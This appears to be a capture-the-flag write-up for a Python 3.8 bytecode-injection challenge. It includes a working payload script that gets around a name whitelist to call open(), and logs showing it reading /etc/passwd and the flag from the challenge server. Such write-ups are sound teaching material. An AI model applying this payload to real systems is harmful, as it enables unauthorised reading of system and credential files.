This is basically a Python 3.8 shellcoding challenge (650pt).
Challenge instance ready at
88.198.219.20:24155.
We’ve found an exploitable network service. Exploit it! For your convenience, the source has been provided.
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
ypl
Hello ypl!
It’s nice to meet you!
Let’s take a closer look:
print("Hello!")
print("What's your name?")
name = smart_input()
name = put_on_stack(name[:32].decode()) + name[32:]
print(f"Hello {execute_bytecode(name)}!")
print("It's nice to meet you!")
put_on_stack() generates some Python bytecode based on my input string, then execute_bytecode() executes it. Interestingly, if name is longer than 32 bytes, the program simply executes name[32:] as bytecode:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 main.py
Hello!
What’s your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA
Segmentation fault
Well… 🙂
What are we trying to do with our payload? Take a look at execute_bytecode():
def execute_bytecode(code):
"""
Executes the provided bytecode. Handy for getting the
top item off the stack.
"""
from types import CodeType
import builtins
# This should be large enough for most things
stacksize = 1024
# Load in enough for put_on_stack to work.
# NOTE: This function is unable to call "import" or similar
# dangerous things due to co_names acting as a whitelist.
# (Python loads names from a constants array, so it can"t
# load something that"s not there!)
consts = (*range(256), )
names = ("chr", "ord", "globals", "locals", "getattr", "setattr")
# Tag on a trailing RETURN call just incase.
code += b"S\x00"
# Construt the code object
inject = CodeType(
0, # For python 3.8
0, 0, 0, stacksize, 2, code, consts,
names, (), "", "", 0, b"", (), ()
)
# Create a copy of globals() and load in builtins. builtins aren"t
# normally included in global scope.
globs = dict(globals())
globs.update({i: getattr(builtins, i) for i in dir(builtins)})
# Go go go!
return eval(inject, globs)
We can’t simply import os then os.system("/bin/sh"). We are only allowed to call functions in the whitelist: chr(), ord(), globals(), locals(), getattr(), setattr(), as well as all builtins functions.
My solution? globals()["open"]("flag.txt").read():
import sys
def put(string):
bytecode = b""
for n, i in enumerate(string):
bytecode += b"t\x00" # LOAD_GLOBAL 0 (chr)
bytecode += b"d" + bytes([ord(i)]) # LOAD_CONST n
bytecode += b"\x83\x01" # CALL_FUNCTION 1
if n != 0:
bytecode += b"\x17\x00" # BINARY_ADD
return bytecode
def attr(payload, attr):
payload = b"e\x04" + payload # LOAD_GLOBAL 4 (getattr)
payload += put(attr)
payload += b"\x83\x02" # CALL_FUNCTION 2
return payload
# globals()
payload = b"e\x02" # LOAD_NAME 2 (globals)
payload += b"\x83\x00" # CALL_FUNCTION 0
# globals()["open"]
payload += put("open")
payload += b"\x19\x10" # BINARY_SUBSCR
# globals()["open"]("flag.txt")
payload += put("flag.txt")
payload += b"\x83\x01" # CALL_FUNCTION 1
# globals()["open"]("flag.txt").read()
payload = attr(payload, "read")
payload += b"\x83\x00" # CALL_FUNCTION 0
payload = b"a" * 32 + payload
sys.stdout.buffer.write(payload)
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Traceback (most recent call last):
File “main.py”, line 79, in <module>
print(f”Hello {execute_bytecode(name)}!”)
File “main.py”, line 59, in execute_bytecode
return eval(inject, globs)
File “”, line 0, in
FileNotFoundError: [Errno 2] No such file or directory: ‘flag.txt’
peilin@PWN:~/ractf-2020/puffer_overflow$ echo -n H4K3R > flag.txt
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello H4K3R!
It’s nice to meet you!
Awesome!
By the way, here’s some other crazy stuff printed out by the program:
globals()["open"]:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in function open>!
It’s nice to meet you!
globals()["open"]("flag.txt"):
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <_io.TextIOWrapper name=’flag.txt’ mode=’r’ encoding=’UTF-8′>!
It’s nice to meet you!
Finally, globals()["open"]("flag.txt").read:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3.8 payload.py | python3.8 main.py
Hello!
What’s your name?
Hello <built-in method read of _io.TextIOWrapper object at 0x7fd0ac165d40>!
It’s nice to meet you!
Anyway, let’s get our flag!
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
[b] Recieving all data: 0B
…
It hangs. Wait, what…? Maybe it is in a different directory? Let’s try /etc/passwd:
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
…
Hello root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
ractf:x:100:65533:Linux User,,,:/home/ractf:/bin/bash
!
[DEBUG] Received 0x17 bytes:
b”It’s nice to meet you!\n”
It’s nice to meet you!
Oh my! How about /home/ractf/flag.txt, then?
peilin@PWN:~/ractf-2020/puffer_overflow$ python3 exp.py
[+] Opening connection to 88.198.219.20 on port 36239: Done
…
[DEBUG] Received 0x1c bytes:
b’Hello ractf{Puff3rf1sh??}\n’
b’!\n’
[DEBUG] Received 0x17 bytes:
b”It’s nice to meet you!\n”
Nice! That’s a short flag, though.